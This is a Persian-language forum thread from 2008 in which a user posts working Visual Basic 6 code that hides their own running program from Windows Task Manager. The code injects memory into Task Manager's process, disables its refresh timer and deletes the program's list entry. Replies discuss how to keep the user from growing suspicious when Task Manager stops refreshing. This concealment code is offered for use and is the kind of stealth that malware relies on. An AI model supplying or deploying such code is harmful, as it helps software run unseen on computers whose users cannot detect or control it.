PDA

View Full Version : حرفه ایی های وِزوال بیسیک کمک کنند ( مخفی کردن برنامه از لیست پروسس ها )



karshenasi
سه شنبه 06 فروردین 1387, 11:43 صبح
چطور میشه برنامه خودمون رو از لیست پروسس های سیستم به طور کلی مخفی کنیم؟
من با مالتی مدیا بیلدر این کار رو انجام دادم ولی توی ویژوال بیسیک نمیدونم چطوریه
میشه کمکم کنید؟

bobrus
سه شنبه 06 فروردین 1387, 11:56 صبح
دوست عزیز این مورد قبلاً جواب داده شده می تونین یه جستجوی کوچیک انجام بدین تا دیگه نیاز به حرفه ای ها هم نداشته باشی

Aminch.pc
سه شنبه 06 فروردین 1387, 13:30 عصر
فکر کنم اگه برنامتون رو به سرویس های ویندوز تبدیل کنید به نتیجه دلخواه برسید.

karshenasi
سه شنبه 06 فروردین 1387, 14:00 عصر
کد برنامه اینه



Private Type bkh
flag As Long
psz As Long
lParam As Long
pt As Long
vkDirection As Long
End Type
Private Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long
Private Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Sub Hide_Process(Name As String)
Dim pName As Long
Dim pType As Long
Dim l As Long
Dim Tid As Long
Dim hTid As Long
Dim pid As Long
Dim h As Long
Dim i As Long
Dim hProcess As Long
Dim f As bkh
Dim s As String
Dim bkh() As Byte
h = FindWindow(vbNullString, "Windows Task Manager")
KillTimer h, 0
h = FindWindowEx(h, 0, "#32770", vbNullString)
h = FindWindowEx(h, 0, "SysListView32", vbNullString)
If h = 0 Then Exit Sub
f.flag = 8 Or &H20
Call GetWindowThreadProcessId(h, pid)
hProcess = OpenProcess(1082, 0, pid)
bkh = StrConv(Name, vbfromUnknown)
pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4)
WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l
f.psz = pName
pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4)
WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l
i = SendMessage(h, &H1000 + 13, 0, pType)
If i <> -1 Then SendMessage h, &H1000 + 8, i, 0
VirtualFreeEx hProcess, pType, Len(f), &H8000
VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000
End Sub
Private Sub Timer1_Timer()
Hide_Process CStr(App.EXEName & ".exe")
End Sub



خیلی خوب جواب میده و پروسس فعلی رو کاملا مخفی میکنه
البته بهتر توی فروم لود این رو هم بنویسیم



app.TaskVisible =False

تایمر رو هم بزارید روی یک ثانیه

majjjj
چهارشنبه 07 فروردین 1387, 12:08 عصر
بنظرم به خاطر تایمر برنامه چشمک بزنه که یک جوری شک برانگیز میشه

karshenasi
چهارشنبه 07 فروردین 1387, 12:36 عصر
بنظرم به خاطر تایمر برنامه چشمک بزنه که یک جوری شک برانگیز میشه

نه ...
من روی 10 میلی ثانیه گذاشتم اصلا چشمک نمیزنه

adaman
چهارشنبه 07 فروردین 1387, 14:46 عصر
بنظرم به خاطر تایمر برنامه چشمک بزنه که یک جوری شک برانگیز میشه

نه ...
من روی 10 میلی ثانیه گذاشتم اصلا چشمک نمیزنه
اتفاقا حتما باید چشمک بزنه ، چون خود تایمر Task Manager باعث میشه که چشمک بزنه نه
تایمر این برنامه
ولی چون کد بالا تایمر Task Manager رو غیر فعال میکنه ، چشمک نمی زنه
و این غیر عادیه و کاربر هم متوجه میشه که یه خبرایی هست
چون هیچ کدوم از تب های Processes , Performance , Networking... کار نمی کنن

ali_habibi1384
شنبه 10 فروردین 1387, 13:24 عصر
آقای karshenasi و بقیه . این سوال به کرات پرسیده شده جواب هم داده شده و به نتیجه هم رسیده لطفا بزارید خود کاربر هم کمی جستجو کنه.

adaman
دوشنبه 12 فروردین 1387, 04:09 صبح
آقای karshenasi و بقیه . این سوال به کرات پرسیده شده جواب هم داده شده و به نتیجه هم رسیده لطفا بزارید خود کاربر هم کمی جستجو کنه.
خود کاربر هم کمی جستجو کنه؟؟؟؟ خود کاربر جواب خودش رو داده اگه دقت کنین آقای kashenasi سوالی که خودوشون پرسیدنو جواب دادن
چند وقته تو این سایت پست های ارسالی که توصیه به جستجو می کنن از بقیه ی مطالب بیشتر شده:متفکر:
به هر حال اگه قبلا هم در این مورد بحث شده باشه که شده ، این کد دارای اشکال می باشد
چون با از کار افتادن تایمر Task Manager کاربر متوجه میشه که یه خبرایی هست
ولی میشه یه تغییراتی داد تو این کد تا این مشکل حل بشه

مهران رسا
دوشنبه 12 فروردین 1387, 11:14 صبح
فکر کنم اگه برنامتون رو به سرویس های ویندوز تبدیل کنید به نتیجه دلخواه برسید.
-----------------------
چه طوری ؟

ali_habibi1384
چهارشنبه 14 فروردین 1387, 10:05 صبح
اگه خودش می دونسته پس چرا این سوالو مطرح کرده؟ حتما می خواسته ببینه ما چقدر بلدیم؟!

مهران رسا
چهارشنبه 14 فروردین 1387, 10:39 صبح
اگه خودش می دونسته پس چرا این سوالو مطرح کرده؟ حتما می خواسته ببینه ما چقدر بلدیم؟!
:لبخند::لبخند::لبخند: